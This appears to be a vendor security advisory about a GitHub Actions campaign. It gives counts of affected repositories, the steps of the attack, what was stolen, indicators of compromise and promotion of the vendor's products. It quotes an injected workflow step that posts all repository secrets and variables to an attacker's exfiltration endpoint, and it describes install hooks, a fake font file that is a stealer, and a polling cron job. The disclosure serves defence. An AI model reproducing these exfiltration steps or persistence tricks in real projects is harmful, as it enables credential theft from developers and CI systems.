Starting on November 10, a threat actor used stolen GitHub credentials to push a malicious workflow payload into tens of thousands of repositories. The payload steals GitHub Actions secrets and cloud credentials. The payload has proliferated into at least one Packagist and one Golang package through automated publishing triggers, but the threat actor appears to be targeting CI secrets rather than attempting to proliferate through the supply chain. 

Based on data we've currently collected:

• 4,837 compromised accounts opened probe pull requests in 61,764 repositories.
• About 6,500 of those repositories (11%) ran the payload based on a sample. These repositories have had credentials exposed.

Who is affected

You may be affected if any of these appeared in a repository you can write to on or after November 10:

• A wfx-docs branch, or a pull request titled docs: dependency audit notes
• Commits titled ci: refresh build cache, chore: add ci helper or chore: add dependency audit workflow
• Short-lived branches named chore/ followed by eight random characters

GitHub search returns 61,839 docs: dependency audit notes pull requests, opened between November 10, 12:45 UTC, and November 11, 15:00 UTC. That pull request is only a probe, and is followed by commits that carry the real payload. 

• 10,431 of the pull requests went into repositories the account doesn't own, reached through collaborator or organisation access.
• 92% of them are still open, which suggests most owners haven't noticed.

In a random sample of 1,500 probed repositories, the payload ran in 10.6% (±1.6%). The run log was deleted in 156 of those 159 repositories, meaning the threat actor has likely collected the credentials and covered its tacks. Most of the rest had nothing pushed after the probe (77%), or the infected workflow didn't run (12%).

If the payload ran in your repository, assume every secret and cloud role available to its workflows is compromised.

We've also observed this campaign entering published packages through automated publishing triggers. Malicious packages we've identified to date include:

• Packagist digitalelvis/neuronai-studio version 3.14.3. Treat any machine that installed or opened either version as compromised.
• Go module github.com/onuragtas/docker-env v1.0.278 and v1.0.280: these tags contain the payload in a GitHub Actions workflow file only. The Go source and release binaries are unchanged, and Go builds never run workflow files, so consumers of the module may not have been affected, but we recommend removing these packages anyway.

What happened

Starting at approximately 12:45 UTC or November 10, the threat actor started using compromised GitHub tokens to spread the malware. For each repository a stolen GitHub token can write to, the threat actor:

1. Probes - The threat actor opens a docs: dependency audit notes pull request from a wfx-docs branch, which confirms write access.‍
2. Pushes the payload - The threat actor uses one of three variants:
   
   • Workflow injection: ci: refresh build cache adds about 1,500 lines to an existing workflow.
   • Install hook: chore: add ci helper adds a .ci-xxxxxx.sh script and a postinstall hook in package.json that runs it on any npm install
   • Throwaway branch: chore: add dependency audit workflow adds .github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch.
3. Cleans up - the threat actor reverts within at most one minute and deletes the workflow run, along with its logs. A missing run number in the workflow's history is often the only trace.

The injected workflow steps look like this:

- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "b42d70a7aab9140ca19e8249"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"

What it steals

• GitHub Actions secrets and variables, the workflow GITHUB_TOKEN, and the Actions runtime and cache tokens
• AWS, GCP and Azure credentials from instance metadata and OIDC
• Secrets found in runner memory and environment variables, including AI provider API keys
• Repository contents and git history, the Actions cache, and build artifacts

Overlap with October GhostAction activity

Accounts impacted in this wave cross over with the October GhostActions wave, matching known GhostActions indicators:

• Secret-scanning workflows (security-audit.yml, audit.yml, ci-check.yml and similar) that send keys found in the repository and its git history to 193.32.204[.]199.
• A developer-machine stealer: public/fonts/fa-solid-400.woff2, which is JavaScript, not a font, plus a hidden VS Code task that runs it when the folder is opened. It takes ~/.git-credentials, SSH keys, npm, PyPI, AWS and Claude credentials, and installs a cron job tagged #ghc2 that polls 193.32.204[.]199:8080 for commands.

Accounts hit in October were about a thousand times more likely than other active accounts to be used in November. In more than 100 repositories, the November payload was injected into the October workflow files, leaving the October exfiltration step in place. Despite the overlap in accounts, we don't attribute November to the same actor at this stage The infrastructure, tooling and tradecraft differ, and stolen credentials often end up in the hands of several threat actors. 

How Aikido detects this

If you are an Aikido user, check your central feed and filter on malware issues. Compromised packages related to this campaign will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

For broader coverage across your whole team, Aikido's Device Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

Indicators of compromise

Affected package versions

• Packagist digitalelvis/neuronai-studio 3.14.3
• Go github.com/onuragtas/docker-env1 (onuragtas/redock) v1.0.278 and v1.0.280. The payload is in a workflow file only; the module code is unaffected.

Network indicators

• ‍194.150.166[.]244:8080 (/exfil)
• 18.143.168[.]96:8080 (/exfil)

GitHub indicators

• Branches: wfx-docs, chore/[a-z0-9]{8}, ci-check-[0-9]{4}‍
• Pull request title: docs: dependency audit notes‍
• Commit messages:
  
  • ‍ci: refresh build cache
  • ci: restore
  • chore: add ci helper
  • ci: cleanup
  • chore: add dependency audit workflow

Files

• Stealer script: 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf